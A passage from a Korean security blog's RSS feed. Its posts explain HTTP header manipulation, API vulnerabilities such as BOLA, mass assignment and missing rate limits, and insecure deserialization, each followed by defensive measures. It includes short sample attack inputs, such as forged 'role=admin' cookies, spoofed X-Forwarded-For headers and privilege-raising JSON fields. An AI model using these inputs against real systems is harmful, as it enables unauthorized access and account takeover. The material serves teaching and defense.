&lt;div&gt;&lt;span&gt;&lt;span&gt;Cookie: &lt;/span&gt;&lt;span&gt;&lt;span&gt;role&lt;/span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;span&gt;admin&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;966&quot; data-start=&quot;934&quot; data-ke-size=&quot;size26&quot;&gt;4️⃣ &lt;b&gt;X-Forwarded-For 헤더 변조&lt;/b&gt;&lt;/h2&gt;
&lt;p data-end=&quot;1033&quot; data-start=&quot;967&quot; data-ke-size=&quot;size16&quot;&gt;IP 우회, Rate Limit 우회&lt;br /&gt;WAF / API Gateway가 클라이언트 IP를 이 헤더로 판단할 때 위험&lt;/p&gt;
&lt;p data-end=&quot;1037&quot; data-start=&quot;1035&quot; data-ke-size=&quot;size16&quot;&gt;예:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;X-Forwarded-For: 127.0.0.1&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 data-end=&quot;1128&quot; data-start=&quot;1074&quot; data-ke-size=&quot;size26&quot;&gt;5️⃣ &lt;b&gt;CORS 헤더 조작 (특히 Access-Control-Allow-Origin)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-end=&quot;1156&quot; data-start=&quot;1129&quot; data-ke-size=&quot;size16&quot;&gt;서버 오리진을 우회하도록 만들어 민감 데이터 탈취&lt;/p&gt;
&lt;hr data-end=&quot;1161&quot; data-start=&quot;1158&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1186&quot; data-start=&quot;1163&quot;&gt;  3. 공격으로 이어지는 실제 사례&lt;/h1&gt;
&lt;h3 data-end=&quot;1211&quot; data-start=&quot;1188&quot; data-ke-size=&quot;size23&quot;&gt;✔ 1) 비밀번호 재설정 링크 탈취&lt;/h3&gt;
&lt;p data-end=&quot;1289&quot; data-start=&quot;1212&quot; data-ke-size=&quot;size16&quot;&gt;Host 변조 &amp;rarr; Reset URL이 공격자 도메인으로 생성됨&lt;br /&gt;&amp;rarr; 이메일 받은 피해자가 클릭&lt;br /&gt;&amp;rarr; 공격자에게 토큰 전달 &amp;rarr; 계정 탈취&lt;/p&gt;
&lt;h3 data-end=&quot;1322&quot; data-start=&quot;1291&quot; data-ke-size=&quot;size23&quot;&gt;✔ 2) 캐시 오염(Cache Poisoning)&lt;/h3&gt;
&lt;p data-end=&quot;1401&quot; data-start=&quot;1323&quot; data-ke-size=&quot;size16&quot;&gt;Response Splitting으로 Content-Type 또는 Location 헤더를 주입&lt;br /&gt;&amp;rarr; 여러 사용자가 악성 페이지로 리다이렉트&lt;/p&gt;
&lt;h3 data-end=&quot;1417&quot; data-start=&quot;1403&quot; data-ke-size=&quot;size23&quot;&gt;✔ 3) 인증 우회&lt;/h3&gt;
&lt;p data-end=&quot;1459&quot; data-start=&quot;1418&quot; data-ke-size=&quot;size16&quot;&gt;쿠키/Authorization 헤더 값 변조&lt;br /&gt;&amp;rarr; 권한 상승, 세션 탈취&lt;/p&gt;
&lt;h3 data-end=&quot;1479&quot; data-start=&quot;1461&quot; data-ke-size=&quot;size23&quot;&gt;✔ 4) WAF&amp;middot;로그 우회&lt;/h3&gt;
&lt;p data-end=&quot;1507&quot; data-start=&quot;1480&quot; data-ke-size=&quot;size16&quot;&gt;User-Agent / XFF 조작으로 탐지 회피&lt;/p&gt;
&lt;hr data-end=&quot;1512&quot; data-start=&quot;1509&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1527&quot; data-start=&quot;1514&quot;&gt;  4. 방어 방법&lt;/h1&gt;
&lt;h3 data-end=&quot;1548&quot; data-start=&quot;1529&quot; data-ke-size=&quot;size23&quot;&gt;✔ (1) 입력값 검증 강화&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1594&quot; data-start=&quot;1549&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1568&quot; data-start=&quot;1549&quot;&gt;\r, \n 문자 필터링&lt;/li&gt;
&lt;li data-end=&quot;1594&quot; data-start=&quot;1569&quot;&gt;Host 등 민감 헤더는 화이트리스트 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1624&quot; data-start=&quot;1596&quot; data-ke-size=&quot;size23&quot;&gt;✔ (2) 중요한 헤더는 서버에서 강제 설정&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1660&quot; data-start=&quot;1625&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1660&quot; data-start=&quot;1625&quot;&gt;Host, Origin 등을 클라이언트 입력에 의존하지 않기&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1683&quot; data-start=&quot;1662&quot; data-ke-size=&quot;size23&quot;&gt;✔ (3) 인증/권한 검증 강화&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1706&quot; data-start=&quot;1684&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1706&quot; data-start=&quot;1684&quot;&gt;모든 요청에서 세션/토큰 검사가 필수&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1727&quot; data-start=&quot;1708&quot; data-ke-size=&quot;size23&quot;&gt;✔ (4) WAF 규칙 적용&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1781&quot; data-start=&quot;1728&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1760&quot; data-start=&quot;1728&quot;&gt;HTTP Response Splitting 패턴 필터링&lt;/li&gt;
&lt;li data-end=&quot;1781&quot; data-start=&quot;1761&quot;&gt;비정상 헤더 길이/문자 규칙 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1802&quot; data-start=&quot;1783&quot; data-ke-size=&quot;size23&quot;&gt;✔ (5) 안전한 쿠키 설정&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1834&quot; data-start=&quot;1803&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1834&quot; data-start=&quot;1803&quot;&gt;HttpOnly, Secure, SameSite 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1839&quot; data-start=&quot;1836&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1855&quot; data-start=&quot;1841&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1939&quot; data-start=&quot;1856&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;HTTP 헤더 조작 = 공격자가 요청/응답 헤더를 변조해 인증 우회, 리다이렉트 조작, 캐시오염, XSS 등 다양한 보안 문제를 일으키는 공격&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/350</guid>
      <comments>https://toastfactory.tistory.com/350#entry350comment</comments>
      <pubDate>Fri, 14 Nov 2025 11:24:27 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] API 취약점 공격이란?</title>
      <link>https://toastfactory.tistory.com/349</link>
      <description>&lt;p data-end=&quot;117&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;**API 취약점 공격(API Vulnerability Attack)**을 실무 관점에서 정리해줄게.&lt;br /&gt;최근 클라우드&amp;middot;모바일&amp;middot;웹 서비스에서 &lt;b&gt;API를 통한 공격&lt;/b&gt;이 많아서 꼭 이해해야 해.&lt;/p&gt;
&lt;hr data-end=&quot;122&quot; data-start=&quot;119&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;145&quot; data-start=&quot;124&quot;&gt;  1. API 취약점 공격이란?&lt;/h1&gt;
&lt;p data-end=&quot;252&quot; data-start=&quot;147&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;API 취약점 공격은 &lt;b&gt;애플리케이션이 제공하는 API 엔드포인트의 설계/구현상의 문제를 공격자가 이용해 불법적으로 데이터에 접근하거나 기능을 오용하는 공격&lt;/b&gt;을 의미해.&lt;/p&gt;
&lt;p data-end=&quot;261&quot; data-start=&quot;254&quot; data-ke-size=&quot;size16&quot;&gt;쉽게 말하면:&lt;/p&gt;
&lt;p data-end=&quot;323&quot; data-start=&quot;263&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;앱이나 웹에서 제공하는 API를 이용해서, 공격자가 권한 없이 정보를 훔치거나 서버를 조작하는 공격&amp;rdquo;&lt;/p&gt;
&lt;hr data-end=&quot;328&quot; data-start=&quot;325&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;343&quot; data-start=&quot;330&quot;&gt;  2. 공격 대상&lt;/h1&gt;
&lt;p data-end=&quot;372&quot; data-start=&quot;345&quot; data-ke-size=&quot;size16&quot;&gt;API 취약점 공격은 주로 다음 부분에서 발생함:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;682&quot; data-start=&quot;374&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;427&quot; data-start=&quot;374&quot;&gt;&lt;b&gt;인증(Authentication) 취약점&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;427&quot; data-start=&quot;409&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;427&quot; data-start=&quot;409&quot;&gt;API 토큰 탈취, 인증 우회&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;509&quot; data-start=&quot;429&quot;&gt;&lt;b&gt;권한(Authorization) 취약점&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;509&quot; data-start=&quot;463&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;509&quot; data-start=&quot;463&quot;&gt;Broken Access Control과 유사, 다른 사용자의 데이터 접근 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;578&quot; data-start=&quot;511&quot;&gt;&lt;b&gt;입력값 검증 미흡&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;578&quot; data-start=&quot;533&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;578&quot; data-start=&quot;533&quot;&gt;SQL Injection, Command Injection, XSS, SSRF&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;636&quot; data-start=&quot;580&quot;&gt;&lt;b&gt;Rate Limiting 부재&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;636&quot; data-start=&quot;609&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;636&quot; data-start=&quot;609&quot;&gt;Brute-force 공격, DoS 공격 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;682&quot; data-start=&quot;638&quot;&gt;&lt;b&gt;데이터 노출&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;682&quot; data-start=&quot;657&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;682&quot; data-start=&quot;657&quot;&gt;과도한 정보 반환(Overexposure)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-end=&quot;687&quot; data-start=&quot;684&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;707&quot; data-start=&quot;689&quot;&gt;  3. 대표적인 공격 유형&lt;/h1&gt;
&lt;h3 data-end=&quot;757&quot; data-start=&quot;709&quot; data-ke-size=&quot;size23&quot;&gt;1️⃣ Broken Object Level Authorization (BOLA)&lt;/h3&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;GET /api/orders/123 &amp;rarr; 내 주문 GET /api/orders/124 &amp;rarr; 남의 주문 접근 가능 ❌ &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;859&quot; data-start=&quot;829&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;859&quot; data-start=&quot;829&quot;&gt;사용자 권한 검증 미흡으로 다른 사용자 데이터 탈취&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;892&quot; data-start=&quot;861&quot; data-ke-size=&quot;size23&quot;&gt;2️⃣ Excessive Data Exposure&lt;/h3&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;POST /api/user/profile 응답에 민감 데이터(비밀번호 해시, SSN, 토큰) 포함 &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-end=&quot;986&quot; data-start=&quot;957&quot; data-ke-size=&quot;size23&quot;&gt;3️⃣ Lack of Rate Limiting&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1058&quot; data-start=&quot;987&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1020&quot; data-start=&quot;987&quot;&gt;로그인, 결제, SMS 인증 API에 요청 제한 없음&lt;/li&gt;
&lt;li data-end=&quot;1058&quot; data-start=&quot;1021&quot;&gt;Brute-force, Credential Stuffing 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1083&quot; data-start=&quot;1060&quot; data-ke-size=&quot;size23&quot;&gt;4️⃣ Mass Assignment&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1112&quot; data-start=&quot;1084&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1112&quot; data-start=&quot;1084&quot;&gt;JSON 요청에서 허용되지 않은 필드 조작 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;role&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&quot;admin&quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;1150&quot; data-start=&quot;1143&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 권한 상승&lt;/p&gt;
&lt;h3 data-end=&quot;1172&quot; data-start=&quot;1152&quot; data-ke-size=&quot;size23&quot;&gt;5️⃣ Injection 공격&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1226&quot; data-start=&quot;1173&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1226&quot; data-start=&quot;1173&quot;&gt;SQL, NoSQL, Command Injection, XXE 등 API 요청으로 실행 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1260&quot; data-start=&quot;1228&quot; data-ke-size=&quot;size23&quot;&gt;6️⃣ API Endpoint Enumeration&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1290&quot; data-start=&quot;1261&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1290&quot; data-start=&quot;1261&quot;&gt;공개되지 않은 엔드포인트 탐지 &amp;rarr; 내부 정보 유출&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1295&quot; data-start=&quot;1292&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1318&quot; data-start=&quot;1297&quot;&gt;  4. 공격자가 할 수 있는 일&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1415&quot; data-start=&quot;1320&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1333&quot; data-start=&quot;1320&quot;&gt;사용자 개인정보 탈취&lt;/li&gt;
&lt;li data-end=&quot;1345&quot; data-start=&quot;1334&quot;&gt;관리자 권한 획득&lt;/li&gt;
&lt;li data-end=&quot;1364&quot; data-start=&quot;1346&quot;&gt;내부 시스템 데이터 조회/변조&lt;/li&gt;
&lt;li data-end=&quot;1382&quot; data-start=&quot;1365&quot;&gt;계정 탈취 및 세션 하이재킹&lt;/li&gt;
&lt;li data-end=&quot;1391&quot; data-start=&quot;1383&quot;&gt;DoS 공격&lt;/li&gt;
&lt;li data-end=&quot;1415&quot; data-start=&quot;1392&quot;&gt;내부망 접근 (SSRF 등 연계 가능)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1420&quot; data-start=&quot;1417&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1443&quot; data-start=&quot;1422&quot;&gt;  5. WAF / 보안관제 대응&lt;/h1&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1460&quot; data-start=&quot;1445&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1460&quot; data-start=&quot;1445&quot;&gt;&lt;b&gt;인증/권한 검증&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1494&quot; data-start=&quot;1461&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1479&quot; data-start=&quot;1461&quot;&gt;JWT, OAuth 토큰 검증&lt;/li&gt;
&lt;li data-end=&quot;1494&quot; data-start=&quot;1480&quot;&gt;사용자 권한 검증 체크&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1516&quot; data-start=&quot;1496&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1516&quot; data-start=&quot;1496&quot;&gt;&lt;b&gt;Rate Limiting&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1542&quot; data-start=&quot;1517&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1528&quot; data-start=&quot;1517&quot;&gt;IP별 요청 제한&lt;/li&gt;
&lt;li data-end=&quot;1542&quot; data-start=&quot;1529&quot;&gt;반복 요청 패턴 탐지&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1560&quot; data-start=&quot;1544&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1560&quot; data-start=&quot;1544&quot;&gt;&lt;b&gt;민감 데이터 탐지&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1589&quot; data-start=&quot;1561&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1589&quot; data-start=&quot;1561&quot;&gt;JSON 응답 내 민감 정보 포함 여부 모니터링&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1607&quot; data-start=&quot;1591&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1607&quot; data-start=&quot;1591&quot;&gt;&lt;b&gt;비정상 요청 탐지&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1634&quot; data-start=&quot;1608&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1634&quot; data-start=&quot;1608&quot;&gt;API 요청 구조 이상, 의심 파라미터 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;1650&quot; data-start=&quot;1636&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;1650&quot; data-start=&quot;1636&quot;&gt;&lt;b&gt;로깅 및 알림&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1675&quot; data-start=&quot;1651&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1675&quot; data-start=&quot;1651&quot;&gt;관리자 권한 요청, 비정상 응답 시 알람&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1680&quot; data-start=&quot;1677&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1698&quot; data-start=&quot;1682&quot;&gt;  6. 개발 단계 방어&lt;/h1&gt;
&lt;h3 data-end=&quot;1721&quot; data-start=&quot;1700&quot; data-ke-size=&quot;size23&quot;&gt;✔ 1) 인증/권한 철저히 검증&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1745&quot; data-start=&quot;1722&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1745&quot; data-start=&quot;1722&quot;&gt;모든 엔드포인트에서 서버 측 권한 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1762&quot; data-start=&quot;1747&quot; data-ke-size=&quot;size23&quot;&gt;✔ 2) 입력값 검증&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1800&quot; data-start=&quot;1763&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1778&quot; data-start=&quot;1763&quot;&gt;타입, 길이, 형식 검사&lt;/li&gt;
&lt;li data-end=&quot;1800&quot; data-start=&quot;1779&quot;&gt;SQL/Command/XXE 필터링&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1818&quot; data-start=&quot;1802&quot; data-ke-size=&quot;size23&quot;&gt;✔ 3) 출력값 최소화&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1842&quot; data-start=&quot;1819&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1832&quot; data-start=&quot;1819&quot;&gt;필요한 데이터만 반환&lt;/li&gt;
&lt;li data-end=&quot;1842&quot; data-start=&quot;1833&quot;&gt;민감정보 제거&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1879&quot; data-start=&quot;1844&quot; data-ke-size=&quot;size23&quot;&gt;✔ 4) Rate Limit &amp;amp; Throttling 적용&lt;/h3&gt;
&lt;h3 data-end=&quot;1903&quot; data-start=&quot;1881&quot; data-ke-size=&quot;size23&quot;&gt;✔ 5) API 보안 가이드 준수&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1937&quot; data-start=&quot;1904&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1937&quot; data-start=&quot;1904&quot;&gt;OWASP API Security Top 10 기반 설계&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1942&quot; data-start=&quot;1939&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1956&quot; data-start=&quot;1944&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;2081&quot; data-start=&quot;1957&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;API 취약점 공격 = 공격자가 인증&amp;middot;권한&amp;middot;입력값&amp;middot;출력 검증의 허점을 이용해 서버나 데이터를 불법적으로 접근&amp;middot;조작하는 공격으로, 철저한 인증&amp;middot;권한 검증, 입력/출력 검증, Rate Limiting으로 방어해야 한다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/2. 보안 관제</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/349</guid>
      <comments>https://toastfactory.tistory.com/349#entry349comment</comments>
      <pubDate>Fri, 14 Nov 2025 11:23:29 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] 직렬화 / 역직렬화란?</title>
      <link>https://toastfactory.tistory.com/348</link>
      <description>&lt;p data-end=&quot;185&quot; data-start=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;**Insecure Deserialization(취약한 역직렬화)**란&lt;br /&gt;애플리케이션이 **신뢰할 수 없는 데이터(입력값)**를 그대로 역직렬화(deserialize)할 때 발생하는 취약점이야.&lt;br /&gt;즉, 공격자가 조작한 직렬화 데이터를 서버가 풀어 읽으면서 &lt;b&gt;임의 코드 실행, 권한 상승, 데이터 변조&lt;/b&gt; 등이 일어날 수 있어.&lt;/p&gt;
&lt;hr data-end=&quot;190&quot; data-start=&quot;187&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;209&quot; data-start=&quot;192&quot;&gt;  직렬화 / 역직렬화란?&lt;/h1&gt;
&lt;h3 data-end=&quot;236&quot; data-start=&quot;210&quot; data-ke-size=&quot;size23&quot;&gt;✔ 직렬화(Serialization)&lt;/h3&gt;
&lt;p data-end=&quot;283&quot; data-start=&quot;237&quot; data-ke-size=&quot;size16&quot;&gt;데이터(객체)를 파일&amp;middot;네트워크 전송용으로 &lt;b&gt;문자열/바이트 형태로 변환&lt;/b&gt;하는 과정&lt;/p&gt;
&lt;h3 data-end=&quot;314&quot; data-start=&quot;285&quot; data-ke-size=&quot;size23&quot;&gt;✔ 역직렬화(Deserialization)&lt;/h3&gt;
&lt;p data-end=&quot;343&quot; data-start=&quot;315&quot; data-ke-size=&quot;size16&quot;&gt;직렬화된 데이터를 다시 &lt;b&gt;객체로 복원&lt;/b&gt;하는 과정&lt;/p&gt;
&lt;p data-end=&quot;408&quot; data-start=&quot;345&quot; data-ke-size=&quot;size16&quot;&gt;문제는&amp;hellip;&lt;br /&gt;&lt;b&gt;역직렬화 시 데이터가 신뢰할 수 없는 출처라면, 공격자가 악의적인 객체를 넣을 수 있다는 것!&lt;/b&gt;&lt;/p&gt;
&lt;hr data-end=&quot;413&quot; data-start=&quot;410&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;451&quot; data-start=&quot;415&quot;&gt;⚠ Insecure Deserialization은 왜 위험해?&lt;/h1&gt;
&lt;p data-end=&quot;541&quot; data-start=&quot;452&quot; data-ke-size=&quot;size16&quot;&gt;서버는 역직렬화를 할 때 객체 내부의 &lt;b&gt;함수나 생성자&lt;/b&gt;, &lt;b&gt;메소드 호출&lt;/b&gt;을 자동으로 실행할 때가 많아.&lt;br /&gt;이 틈을 이용해 공격자는 다음을 할 수 있어:&lt;/p&gt;
&lt;h3 data-end=&quot;556&quot; data-start=&quot;543&quot; data-ke-size=&quot;size23&quot;&gt;  가능한 공격&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;690&quot; data-start=&quot;557&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;609&quot; data-start=&quot;557&quot;&gt;&lt;b&gt;RCE(Remote Code Execution)&lt;/b&gt;&lt;br /&gt;&amp;rarr; 서버에서 명령어 실행&lt;/li&gt;
&lt;li data-end=&quot;623&quot; data-start=&quot;610&quot;&gt;&lt;b&gt;권한 상승&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;641&quot; data-start=&quot;624&quot;&gt;&lt;b&gt;데이터 변조/삭제&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;655&quot; data-start=&quot;642&quot;&gt;&lt;b&gt;세션 탈취&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;690&quot; data-start=&quot;656&quot;&gt;&lt;b&gt;Dos 공격&lt;/b&gt; (무거운 객체를 통해 서버 자원 고갈)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;695&quot; data-start=&quot;692&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;712&quot; data-start=&quot;697&quot;&gt;  공격 예시 (개념)&lt;/h1&gt;
&lt;p data-end=&quot;741&quot; data-start=&quot;713&quot; data-ke-size=&quot;size16&quot;&gt;서버가 쿠키를 직렬화된 객체로 저장한다고 가정하자:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;eyJ1c2VyTmFtZSI6ICJpc2FrIn0= &lt;/span&gt;&lt;span&gt;&lt;span&gt;# 정상 base64 데이터&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;830&quot; data-start=&quot;799&quot; data-ke-size=&quot;size16&quot;&gt;공격자는 객체 구조를 알고 있다면 이렇게 바꿀 수 있음:&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
